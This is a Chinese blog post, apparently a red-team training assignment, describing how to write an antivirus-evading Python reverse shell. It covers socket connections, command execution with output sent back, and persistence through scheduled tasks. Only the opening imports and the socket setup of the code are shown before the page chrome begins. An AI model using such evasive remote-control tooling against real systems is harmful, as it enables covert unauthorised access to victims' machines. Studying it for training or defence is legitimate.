红队作业 | Python实现免杀远控

本文介绍了如何使用Python实现一个简单的免杀远程控制功能,即反弹shell。内容涉及TCP长连接、异常处理、服务端命令执行及回显。通过netcat工具进行测试,同时探讨了代码优化和免杀的可能性,以及可能的应用场景,如配合计划任务执行和上线提醒功能。
摘要由CSDN通过智能技术生成

文章来源|MS08067 红队培训班 第4期

本文作者:学员A(红队培训班4期学员)


按老师要求尝试完成布置的作业如下:

要想实现简易远控,说的详细点就是反弹shell,首先要解决三个问题:

1.与服务端建立socket连接

2.在服务端命令执行

3.服务端把回显返回给客户端

这里我们用python实现,声明一下,涉及到的内容是网络编程,以下函数实现多半都是我百度的,所以有很多用法以及逻辑的实现都是欠考虑的QAQ

0x01 代码实现

#以下提到客户端/服务端均为相对概念
import socket
import sys
import subprocess


s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)#建立socket服务器,两个参数分别代表ipv4,tcp连接
  • 0
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值